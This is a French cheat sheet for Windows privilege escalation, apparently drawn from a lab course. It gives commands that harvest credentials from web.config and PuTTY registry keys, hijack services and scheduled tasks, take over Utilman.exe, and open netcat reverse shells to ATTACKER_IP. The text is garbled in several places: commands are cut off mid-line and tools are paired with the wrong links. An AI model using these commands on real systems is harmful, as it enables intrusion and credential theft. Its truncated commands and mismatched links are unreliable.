Ici, le **cmd.exe** sera lancé en tant qu'utilisateur **admin** .
#### Connexions IIS La commande suivante va énumérer les connexions à la **base de donnée IIS** et peut parfois vous révéler des mots de passe : ```powershell type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString ``` #### Identifiants PuTTY Il est possible de récupérer les identifiants enregistrés dans PuTTY en interrogeant une clé de registre : ```powershell reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s ```Simon Tatham est le créateur du logiciel Putty et ne doit donc pas être remplacé par le nom de l'utilisateur.
#### Tâche planifiée vulnérable Parfois, les tâches planifiées sont vulnérables car le fichier est lancé en tant qu'utilisateur à privilège et peut en même temps être modifié par votre utilisateur. Vous pouvez **afficher les droits du fichier** lancé par la tâche planifiée avec la commande suivante : ```powershell icaclsLe **(F)** signifie **Full Access** et donc que les utilisateurs peuvent modifier le fichier.
On pourrait donc injecter un simple payload à l'intérieur et attendre que la tâche se lance : ```powershell echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat ```Dans le cas ci-dessus vous devez évidemment lancer un listener en amont.
#### Always Install Elevated Cette fonctionnalité peut être activée via les deux clés de registre suivantes : ``` reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer ``` ``` reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer ``` Si la fonctionnalité est activée, vous pouvez lancer automatiquement les fichiers **.msi** avec les droits administrateurs. Avec **Metasploit**, vous pouvez générer un **payload** : ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=En effet, l'exécutable du service comporte des espaces et n'est pas entouré par les guillements. Il est donc vulnérable.
Dans l'ordre, voici la commande qui sera exécutée lors de l'exécution du service :| Command | Argument 1 | Argument 2 |
|---|---|---|
| C:\\MyPrograms\\Disk.exe | Sorter | Enterprise\\bin\\disksrs.exe |
| C:\\MyPrograms\\Disk Sorter.exe | Enterprise\\bin\\disksrs.exe | |
| C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe |
On s'aperçoit que le service va d'abord essayer d'exécuter **Disk.exe** !
On peut donc créer un payload qui portera le nom **Disk.exe** à l'emplacement **C:\\MyPrograms\\** et il sera exécuté par le service.
Cependant, la majorité des services lancent un exécutable situé dans le répertoire **"C:\\Program Files"** ou **"C:\\Program Files (x86)"** qui sont protégés en écriture et empêche l'utilisation de cette technique même sur un service vulnérable.
#### Insecure Service Permissions Parfois, les permissions du service sont mal configurées et permettent de modifier le chemin du fichier exécuté. Pour vérifier les permissions **DACL** d'un service (*Discretionary Access Control Lists*), on peut utiliser l'outil [Accesschk](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk) de la suite SysInternal : ```powershell accesschk64.exe -qlcOn aperçoit que le groupe **BUILTIN\\\\Users** bénéficie de tous les droits sur le service.
Voici la commande qui permet de reconfigurer le service en donnant le nouveau de chemin de l'exécutable lancé par le service : ``` sc config THMService binPath= "C:\Users\thm-unpriv\payload.exe" obj= LocalSystem ``` Si la commande ci-dessus réussie, vous pouvez redémarrer le service et bénéfier de ses droits : ``` sc stop THMService sc start THMService ``` #### SeBackup / SeRestore Pour vérifier si ce privilège est activé, vous pouvez lancer la commande suivante : ```powershell whoami /priv ``` - Si ce privilège vous est accordé, vous pouvez dumper la **base SAM** et utiliser des techniques comme le **PassTheHash** ou lancer une attaque **brute force sur le hash NTLM** des utilisateurs. #### SeTakeOwnership Ce privilège permet à un utilisateur de se définir propriétaire d'une ressource ou d'un objet sur le système comme un fichier ou une clé de registre. Par exemple, on peut s'approprier un service lancé en tant que **System** tel que **Utilman.exe** qui correspond aux **Options d'ergonomie** présent sur l'**écran de verrouillage** : ```powershell takeown /f C:\Windows\System32\Utilman.exe ``` On peut ensuite donner les droits complets à notre groupe sur le fichier : ```powershell icacls C:\Windows\System32\Utilman.exe /grantCependant, si le service FTP est compromis, un attaquant pourrait **impersonnifier** le compte **System** et lancer un shell en tant que System par exemple.
Pour lancer ce type d'attaque, on peut utiliser l'outil RogueWinRM depuis un shell avec un utilisateur ayant le privilège **SeImpersonnate**: ```powershell c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442" ```Ici, RogueWinRM va lancer un reverse shell avec netcat en utilisant les droits du compte **System.**
## Outils #### WinPeas - [https://github.com/itm4n/PrivescCheck](https://github.com/itm4n/PrivescCheck) #### PrivescCheck - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) #### WES-NG - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) Il s'agit d'un script python qui peut être lancé depuis la machine de l'attaquant et qui prend en entrée un fichier texte contenant le **systeminfo** de la victime : ```bash wes.py systeminfo.txt ``` #### Metasploit Il propose un module qui va automatiquement chercher les exploits disponibles : ``` multi/recon/local_exploit_suggester ```